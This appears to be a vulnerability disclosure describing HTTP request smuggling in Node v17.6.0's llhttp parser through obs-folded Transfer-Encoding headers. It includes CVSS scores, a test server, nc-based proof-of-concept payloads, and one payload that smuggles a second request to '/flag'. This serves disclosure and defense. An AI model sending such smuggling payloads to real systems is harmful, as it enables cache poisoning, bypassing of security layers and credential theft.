6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
6.4 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
0.005 Low
EPSS
Percentile
73.5%
Summary:
The llhttp
parser in the http
module in Node v17.6.0 does not correctly handle multi-line Transfer-Encoding
headers. This can lead to HTTP Request Smuggling (HRS).
Description:
When Node receives the following request:
GET / HTTP/1.1
Transfer-Encoding: chunked
, identity
1
a
0
it processes the final encoding as chunked
. Relevant code here.
Since Node accepts multi-line header values (defined as obs-fold
in RFC7230, the Transfer-Encoding
header is actually chunked , identity
. An upstream proxy that correctly implements multi-line header values will therefore process the final encoding as identity
instead. This could lead to request smuggling as an identity
header indicates that the body length is 0 - the upstream proxy and Node will disagree on where a request ends.
The current behaviour is in violation of RFC7230 section 3.2.4, which states:
A server that receives an obs-fold in a request message that is not
within a message/http container MUST either reject the message by
sending a 400 (Bad Request), preferably with a representation
explaining that obsolete line folding is unacceptable, or replace
each received obs-fold with one or more SP octets prior to
interpreting the field value or forwarding the message downstream.
While Node correctly replaces each received obs-fold
with SP octets, in the case of the Transfer-Encoding
header it does not do so prior to interpreting the field value.
Note: This could be seen as an incomplete fix to #1002188, though it is a slightly different issue. The fix for #1002188 processed subsequent Transfer-Encoding
headers, only setting the chunked
encoding if the last Transfer-Encoding
header is chunked
. This should be extended to check for subsequent lines of the same Transfer-Encoding
header.
Testing Server
Run the following server (node server.js
):
const http = require('http');
http.createServer((request, response) => {
let body = [];
request.on('error', (err) => {
response.end("error while reading body: " + err)
}).on('data', (chunk) => {
body.push(chunk);
}).on('end', () => {
body = Buffer.concat(body).toString();
response.on('error', (err) => {
response.end("error while sending response: " + err)
});
response.end(JSON.stringify({
"Headers": request.headers,
"Length": body.length,
"Body": body,
}) + "\n");
});
}).listen(80);
Payload
printf "GET / HTTP/1.1\r\n"\
"Transfer-Encoding: chunked\r\n"\
" , identity\r\n"\
"\r\n"\
"1\r\n"\
"a\r\n"\
"0\r\n"\
"\r\n" | nc localhost 80
Output
HTTP/1.1 200 OK
Date: Sun, 06 Mar 2022 03:34:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 77
{"Headers":{"transfer-encoding":"chunked , identity"},"Length":1,"Body":"a"}
This shows the invalid parsing of the Transfer-Encoding
header.
Note: In the case of #1002188, the following payload demonstrates the same scenario (except a duplicate Transfer-Encoding
header is replaced with a multi-line one)
POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
, chunked-false
1
A
0
GET /flag HTTP/1.1
Host: 127.0.0.1
foo: x
Payloads and outputs:
{F1644164}
{F1644165}
Server code:
{F1644163}
Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
6.4 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
0.005 Low
EPSS
Percentile
73.5%